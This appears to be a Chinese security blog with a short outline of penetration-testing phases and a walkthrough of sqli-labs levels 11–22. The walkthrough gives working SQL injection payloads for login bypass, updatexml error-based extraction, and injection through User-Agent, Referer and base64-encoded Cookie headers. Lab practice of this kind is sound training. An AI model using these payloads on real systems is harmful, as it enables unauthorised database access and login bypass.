something about penetration testing

penetration test

这就是渗透测试啊。

渗透测试阶段

  1. 明确需求

    明确客户 测试目的测试的深入程度既定条件(即项目范围) 等信息。

  2. 信息收集

    • 开源情报分析

      分析各种公开信息。利用端口扫描工具等各种工具,初步了解内外或外网运行的 系统,系统上安装了什么软件。

  3. 威胁建模

    以攻击人员的角度出发,根据所获信息拟定各种破坏方案。

  4. 漏洞分析

    使用漏洞扫描程序,借助程序的漏洞数据库和主动检测技术,推测目标上存在哪些漏 洞。结合人工分析,亲自确认扫描程序找到的全部漏洞。

  5. 漏洞验证

    利用Metasploit一类的安全工具,利用发现的安全漏洞,获取客户系统的访问权限。

  6. 深度攻击

    以被突破的系统为着手点,收集各种信息,搜索有价值的文件,在必要的时候提升自 己的权限。

  7. 书面汇报

    将发现的各种问题整理为易于客户理解的书面文档。
    文档应当明确哪些安全措施 切实有效,指出客户需要改进的不足之处,同时还要描述测试人员突破防线的手段, 获取到的信息,并且提供修复问题的建议等内容。


something about sqliLabs 0x03

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-11

POST - Error Based - Single quotes - String

提交方式为POST方式,直接构造post请求
uname=username&passwd=password'+or+true+--+&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit都可,两处都可注入。

Less-12

POST - Error Based - Double quotes - String - with twist

多试几次,发现闭合方式不同,双引号与括号闭合("$id")
uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可,两处都可注入。

Less-13

POST - Double Injection - Single quotes - String - with twist

闭合方式为('$password')
uname=username')+or+true+--+&passwd=password&submit=Submituname=username&passwd=password')+or+true+--+&submit=Submit两处都可注入。

Less-14

POST - Double Injection - Double quotes - String - with twist

闭合方式为"$password"
uname=username"+or+true+--+&passwd=password&submit=Submituname=username&passwd=password"+or+true+--+&submit=Submit两处都可注入。

Less-15

POST - Blind - Boolean/Time Based - Single quotes

uname=username'+or+true+--+&passwd=password&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit两处都可注入。

Less-16

POST - Blind - Boolean/Time Based - Double quotes

uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可以注入。

Less-17

POST - Update Query - Error Based - String

这不是普通的select语句,而是update语句,可以利用0x01中学到的updatexml(),extractvalue()报错来获取信息。

uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit即可成功注入,并获得了database()信息。

Less-18

POST - Header Injection - Uagent field - Error based

需要注入HTTP头,由于这次查询,先查询用户/密码是否存在,如果存在,将其 User-Agent 存入数据库中。

注入HTTP头User-Agent属性。

1
2
3
4
5
6
7
POST /Less-18/ HTTP/1.1
Host: train.com
User-Agent: test' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-19

POST - Header Injection - Referer field - Error based

注入HTTP头Referer属性,此属性是用来标识,请求来源于哪个URL

1
2
3
4
5
6
7
8
9
10
POST /Less-19/ HTTP/1.1
...
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
...
Referer: close' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...

uname=admin&passwd=admin&submit=Submit

Less-20

POST - Cookie Injections - Uagent field - Error based

HTTP头Cookie属性进行注入。

1
2
3
4
5
6
7
POST /Less-20/ HTTP/1.1
Host: train.com
...
Cookie: uname=admin' or updatexml(1, concat(0x7e, database()),1) or 'close; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

跟隨redirection,即可以看到结果。

Less-21

POST - Cookie Injections - Uagent field - Error based

Less-20 相同,但是观察到uname = YWRtaW4=中是有=存在的,联想到 BASE64编码后,会出现=补足编码。

使用base64工具解码查看:

1
2
~$ echo "YWRtaW4=" | base64 -d -
admin

与请求内容吻合,因此构造好payload后还需要进行BASE64编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close

使用base64工具编码:

1
2
~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 -
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg==

最终payload为:

1
2
3
4
GET /Less-21/index.php HTTP/1.1
...
Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg%3d%3d; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

Less-22

POST - Cookie Injections - Uagent field - Error based

Less-21 相比,闭合方式为",其他相同。